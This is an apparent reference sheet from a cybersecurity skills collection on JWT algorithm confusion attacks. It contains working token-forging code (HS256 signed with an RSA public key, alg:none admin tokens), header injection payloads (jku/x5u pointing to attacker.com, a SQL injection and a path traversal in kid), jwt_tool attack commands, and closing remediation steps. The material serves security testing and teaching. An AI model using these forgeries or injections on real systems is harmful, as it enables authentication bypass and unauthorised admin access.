Anthropic-Cybersecurity-Skills/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md

API Reference: JWT Algorithm Confusion Attack

JWT Structure

Three parts (dot-separated, Base64URL-encoded)

<header>.<payload>.<signature>

Header

{"alg": "RS256", "typ": "JWT"}

Common Algorithms

Algorithm	Type	Key
HS256	HMAC	Symmetric shared secret
RS256	RSA	Asymmetric key pair
ES256	ECDSA	Asymmetric key pair
none	None	No signature

Algorithm Confusion Attack

Attack Flow

1. Server uses RS256 (asymmetric) with public/private key pair
2. Attacker obtains server's RSA public key
3. Attacker changes alg header from RS256 to HS256
4. Attacker signs token with the RSA public key as HMAC secret
5. Server verifies with public key using HMAC (accepts token)

Forging with Public Key

import hmac, hashlib, base64, json

header = base64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = base64url(json.dumps({"sub": "admin"}))
signature = hmac.new(public_key_bytes, f"{header}.{payload}", hashlib.sha256)
token = f"{header}.{payload}.{base64url(signature)}"

None Algorithm Attack

Forged Token

header = base64url('{"alg":"none","typ":"JWT"}')
payload = base64url('{"sub":"admin","admin":true}')
token = f"{header}.{payload}."

JWT Header Injection Attacks

JKU (JSON Web Key Set URL)

{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}

X5U (X.509 URL)

{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}

KID (Key ID) — SQL Injection

{"alg": "HS256", "kid": "key1' UNION SELECT 'secret'--"}

KID — Path Traversal

{"alg": "HS256", "kid": "../../dev/null"}

Python PyJWT Library

Decode without verification

import jwt
decoded = jwt.decode(token, options={"verify_signature": False})

Verify with algorithm restriction

decoded = jwt.decode(token, public_key, algorithms=["RS256"])

jwt_tool — JWT Testing Tool

Scan for vulnerabilities

python3 jwt_tool.py <token> -M at    # All tests
python3 jwt_tool.py <token> -X a     # alg:none attack
python3 jwt_tool.py <token> -X k -pk public.pem  # Key confusion

Remediation

1. Always specify allowed algorithms: algorithms=["RS256"]
2. Never accept alg: none
3. Use separate verification logic for symmetric vs asymmetric
4. Validate JKU/X5U against allowlist